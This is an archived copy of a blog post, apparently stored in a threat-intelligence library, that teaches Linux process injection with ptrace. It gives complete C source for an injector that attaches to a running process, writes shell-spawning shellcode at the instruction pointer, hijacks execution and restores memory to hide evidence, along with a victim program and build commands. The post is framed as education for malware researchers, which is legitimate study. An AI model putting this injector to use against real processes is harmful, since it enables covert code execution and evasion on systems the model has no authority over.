{
	"id": "e504c093-215d-4ed4-a384-ceb43ca51cf7",
	"created_at": "2026-04-06T00:10:41.029119Z",
	"updated_at": "2026-04-10T13:12:55.783768Z",
	"deleted_at": null,
	"sha1_hash": "9afcf258c89c83eb6555e800208ca88e8674f3d0",
	"title": "Linux malware development 3: linux process injection with ptrace. Simple C example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1131920,
	"plain_text": "Linux malware development 3: linux process injection with ptrace.\r\nSimple C example.\r\nBy cocomelonc\r\nPublished: 2024-11-22 · Archived: 2026-04-05 22:58:24 UTC\r\n8 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThe number of known injection techniques on Windows machines is huge, for example: first, second or third\r\nexamples from my blog.\r\nToday, I’ll guide you through an awesome Linux injection technique using the ptrace system call. Think of\r\nptrace as your personal key to inspecting, modifying, and even hijacking other processes.\r\nptracePermalink\r\nptrace is a system call that allows you to debug remote processes. The initiating process has the ability to\r\ninspect and modify the debugged process’s memory and registers. GDB, for example, uses ptrace to control the\r\ndebugged process.\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 1 of 13\n\nPtrace offers several useful debugging operations, such as:\r\nPTRACE_ATTACH - allows you to attach to one process, pausing the debugged process\r\nPTRACE_PEEKTEXT - allows you to read data from the address space of another process\r\nPTRACE_POKETEXT - allows you to write data to the address space of another process\r\nPTRACE_GETREGS - reads the current state of the process registers\r\nPTRACE_SETREGS - writes the state of the process registers\r\nPTRACE_CONT - continues execution of the debugged process\r\npractical examplePermalink\r\nIn this step-by-step tutorial I will show you how to:\r\nAttach to a running process.\r\nInject custom shellcode.\r\nHijack execution.\r\nRestore the original state after execution.\r\nWe’ll break it all down using a simple practical C example. Let’s go!\r\nThe first thing we need to do is attach to the process we are interested in. To do this, it is enough to call ptrace\r\nwith the PTRACE_ATTACH parameter:\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 2 of 13\n\nprintf(\"attaching to process %d\\n\", target_pid);\r\nif (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {\r\n perror(\"failed to attach\");\r\n return 1;\r\n}\r\nThis halts the process and allows us to inspect its memory and registers.\r\nBefore making any changes to the processor registers, we must first take a backup of their existing state. This\r\nenables us to resume execution at a later stage:\r\nstruct user_regs_struct target_regs;\r\n//...\r\n//...\r\n// get the current registers\r\nprintf(\"reading process registers\\n\");\r\nptrace(PTRACE_GETREGS, target_pid, NULL, \u0026target_regs);\r\nUsing PTRACE_PEEKDATA , we read the memory at the instruction pointer ( RIP ). This is crucial for restoring the\r\nprocess to its original state after injection. For this reason I just created read_mem function:\r\n// read memory from the target process\r\nvoid read_mem(pid_t target_pid, long addr, char *buffer, int len) {\r\n union data_chunk {\r\n long val;\r\n char bytes[sizeof(long)];\r\n } chunk;\r\n int i = 0;\r\n while (i \u003c len / sizeof(long)) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));\r\n i++;\r\n }\r\n int remaining = len % sizeof(long);\r\n if (remaining) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);\r\n }\r\n}\r\nLet me show the step-by-step workflow of this function.\r\nptrace reads memory in chunks of sizeof(long) bytes. This union allows us to easily handle the data as a\r\nlong for ptrace operations and also access individual bytes via the bytes array:\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 3 of 13\n\nunion data_chunk {\r\n long val;\r\n char bytes[sizeof(long)];\r\n} chunk;\r\nThen we read full sizeof(long) chunks:\r\nint i = 0;\r\nwhile (i \u003c len / sizeof(long)) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));\r\n i++;\r\n}\r\nAs you can see, here, we reads a long (typically 8 bytes on 64-bit systems) from the target process at a\r\nspecific memory address. Then, the read data is copied into the buffer using memcpy . This continues until all\r\nfull sizeof(long) chunks are read.\r\nThen, handle remaining bytes:\r\nint remaining = len % sizeof(long);\r\nif (remaining) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);\r\n}\r\nThe logic is simple: if the length ( len ) is not a multiple of sizeof(long) , there may be leftover bytes to read.\r\nThe function handles these remaining bytes by reading another full long from memory and copying only the\r\nnecessary number of bytes into the buffer.\r\nSo, as a result, the entire memory block ( len bytes) from the target process starting at addr is now stored in\r\nbuffer .\r\nWith PTRACE_POKEDATA , we inject our custom shellcode into the target process’s memory at the RIP address.\r\n// write memory into the target process\r\nvoid write_mem(pid_t target_pid, long addr, char *buffer, int len) {\r\n union data_chunk {\r\n long val;\r\n char bytes[sizeof(long)];\r\n } chunk;\r\n int i = 0;\r\n while (i \u003c len / sizeof(long)) {\r\n memcpy(chunk.bytes, buffer + i * sizeof(long), sizeof(long));\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 4 of 13\n\nptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);\r\n i++;\r\n }\r\n int remaining = len % sizeof(long);\r\n if (remaining) {\r\n memcpy(chunk.bytes, buffer + i * sizeof(long), remaining);\r\n ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);\r\n }\r\n}\r\nAs you can see this function is like read_mem , but for write memory logic.\r\nAt the next stage, we modify the process’s instruction pointer ( RIP ) to execute the injected payload:\r\nptrace(PTRACE_CONT, target_pid, NULL, NULL);\r\nAfter the payload has executed, we restore the original memory instructions to avoid crashing the process or\r\nleaving evidence:\r\nwrite_mem(target_pid, target_regs.rip, original_code, payload_len);\r\nFinally, detach from the target process, allowing it to resume normal operation:\r\nptrace(PTRACE_DETACH, target_pid, NULL, NULL);\r\nSo the full source code of our code injection “malware” looks like this ( hack.c ):\r\n/*\r\n * hack.c\r\n * practical example of linux process injection\r\n * author @cocomelonc\r\n */\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cstring.h\u003e\r\n#include \u003csys/ptrace.h\u003e\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/wait.h\u003e\r\n#include \u003csys/user.h\u003e\r\n#include \u003cunistd.h\u003e\r\n// read memory from the target process\r\nvoid read_mem(pid_t target_pid, long addr, char *buffer, int len) {\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 5 of 13\n\nunion data_chunk {\r\n long val;\r\n char bytes[sizeof(long)];\r\n } chunk;\r\n int i = 0;\r\n while (i \u003c len / sizeof(long)) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));\r\n i++;\r\n }\r\n int remaining = len % sizeof(long);\r\n if (remaining) {\r\n chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);\r\n memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);\r\n }\r\n}\r\n// write memory into the target process\r\nvoid write_mem(pid_t target_pid, long addr, char *buffer, int len) {\r\n union data_chunk {\r\n long val;\r\n char bytes[sizeof(long)];\r\n } chunk;\r\n int i = 0;\r\n while (i \u003c len / sizeof(long)) {\r\n memcpy(chunk.bytes, buffer + i * sizeof(long), sizeof(long));\r\n ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);\r\n i++;\r\n }\r\n int remaining = len % sizeof(long);\r\n if (remaining) {\r\n memcpy(chunk.bytes, buffer + i * sizeof(long), remaining);\r\n ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);\r\n }\r\n}\r\nint main(int argc, char *argv[]) {\r\n if (argc != 2) {\r\n printf(\"usage: %s \u003ctarget_pid\u003e\\n\", argv[0]);\r\n return 1;\r\n }\r\n pid_t target_pid = atoi(argv[1]);\r\n char payload[] = \"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05\r\n int payload_len = sizeof(payload) - 1;\r\n char original_code[payload_len];\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 6 of 13\n\nstruct user_regs_struct target_regs;\r\n // attach to the target process\r\n printf(\"attaching to process %d\\n\", target_pid);\r\n if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {\r\n perror(\"failed to attach :(\");\r\n return 1;\r\n }\r\n waitpid(target_pid, NULL, 0);\r\n // get the current registers\r\n printf(\"reading process registers\\n\");\r\n ptrace(PTRACE_GETREGS, target_pid, NULL, \u0026target_regs);\r\n // backup the memory at RIP\r\n printf(\"backing up target memory\\n\");\r\n read_mem(target_pid, target_regs.rip, original_code, payload_len);\r\n // inject the payload\r\n printf(\"injecting payload\\n\");\r\n write_mem(target_pid, target_regs.rip, payload, payload_len);\r\n // hijack execution\r\n printf(\"hijacking process execution\\n\");\r\n ptrace(PTRACE_CONT, target_pid, NULL, NULL);\r\n // wait for the payload to execute\r\n wait(NULL);\r\n // restore the original code\r\n printf(\"restoring original process memory\\n\");\r\n write_mem(target_pid, target_regs.rip, original_code, payload_len);\r\n // detach from the process\r\n printf(\"detaching from process\\n\");\r\n ptrace(PTRACE_DETACH, target_pid, NULL, NULL);\r\n printf(\"injection complete\\n\");\r\n return 0;\r\n}\r\nBut there is a caveat. Why do we use waitpid in process injection code?\r\nWhen we attach to a process using ptrace (via PTRACE_ATTACH ), the target process doesn’t stop immediately. It\r\ncontinues executing until the operating system delivers a signal indicating that the debugger (our injector) has\r\ntaken control. We use waitpid to block execution in our injector until the target process enters this stopped state:\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 7 of 13\n\nptrace(PTRACE_ATTACH, target_pid, NULL, NULL);\r\nwaitpid(target_pid, NULL, 0);\r\nWithout waitpid , we might attempt to read or modify memory before the OS guarantees that the target process\r\nis fully stopped, leading to undefined behavior.\r\nAlso, in process injection, we often need to detect when our injected shellcode has finished executing. To do this,\r\nwe use a software interrupt, such as the int 0x3 instruction, which triggers a SIGTRAP signal in the target\r\nprocess. This signal pauses the process, allowing us to regain control via waitpid .\r\nOk, but what about wait . What is wait , and when do we use it?\r\nThe wait function is a simpler variant of waitpid . It waits for any child process to change state. Unlike\r\nwaitpid , it doesn’t let us specify a specific PID or use advanced options.\r\nIn the context of process injection, we don’t typically use wait , as we need fine-grained control over a specific\r\nprocess (our target), which waitpid provides. However, wait might be used in cases where multiple child\r\nprocesses are involved, and we don’t care which one changes state first.\r\nSo, by using waitpid strategically, we can ensure smooth and reliable process injection.\r\nFor simplicity, I just used simplest payload:\r\nchar payload[] = \"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05\"\r\ndemoPermalink\r\nFirst of all for demonstrating purposes we need a “victim” process.\r\nHere’s a simple “victim” process written in C that runs an infinite loop, making it a suitable target for injection\r\ntesting. This program will print a message periodically, simulating a real running process:\r\n/*\r\n * meow.c\r\n * simple \"victim\" process for injection testing\r\n * author @cocomelonc\r\n * https://cocomelonc.github.io/malware/2024/11/22/linux-hacking-3.html\r\n */\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cunistd.h\u003e\r\nint main() {\r\n printf(\"victim process started. PID: %d\\n\", getpid());\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 8 of 13\n\nwhile (1) {\r\n printf(\"meow-meow... PID: %d\\n\", getpid());\r\n sleep(5); // simulate periodic activity\r\n }\r\n return 0;\r\n}\r\nCompile the victim process:\r\ngcc meow.c -o meow\r\nand compile hack.c injector:\r\ngcc -z execstack hack.c -o hack\r\nRun the victim process first in my Ubuntu 24.04 VM:\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 9 of 13\n\n./meow\r\nNote the PID printed by the victim process:\r\nIn our case PID = 5987 .\r\nWe can now use this PID as the target for our injection hack . For example:\r\n./hack 5987\r\nThis will attach to the victim process and inject our payload while the victim keeps running:\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 10 of 13\n\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 11 of 13\n\nAs you can see everything is worked perfectly! =^..^=\r\nfinal wordsPermalink\r\nThis practical example demonstrates how ptrace can be weaponized for injecting custom shellcode into a\r\nprocess and modifying its execution flow.\r\nOf course this technique with ptrace is not new, but highlight how legitimate functionality can be misused for\r\nmalicious purposes.\r\nI hope this post with practical example is useful for malware researchers, linux programmers and everyone who\r\ninterested on linux kernel programming and linux code injection techniques.\r\nNote: Linux also provides process_vm_readv() and process_vm_writev() for reading/writing to process\r\nmemory.\r\nptrace\r\nLinux malware development 1: intro to kernel hacking. Simple C example\r\nLinux malware development 2: find process ID by name. Simple C example\r\nsource code in github\r\nThis is a practical case for educational purposes only.\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 12 of 13\n\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nhttps://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html"
	],
	"report_names": [
		"linux-hacking-3.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434241,
	"ts_updated_at": 1775826775,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9afcf258c89c83eb6555e800208ca88e8674f3d0.pdf",
		"text": "https://archive.orkl.eu/9afcf258c89c83eb6555e800208ca88e8674f3d0.txt",
		"img": "https://archive.orkl.eu/9afcf258c89c83eb6555e800208ca88e8674f3d0.jpg"
	}
}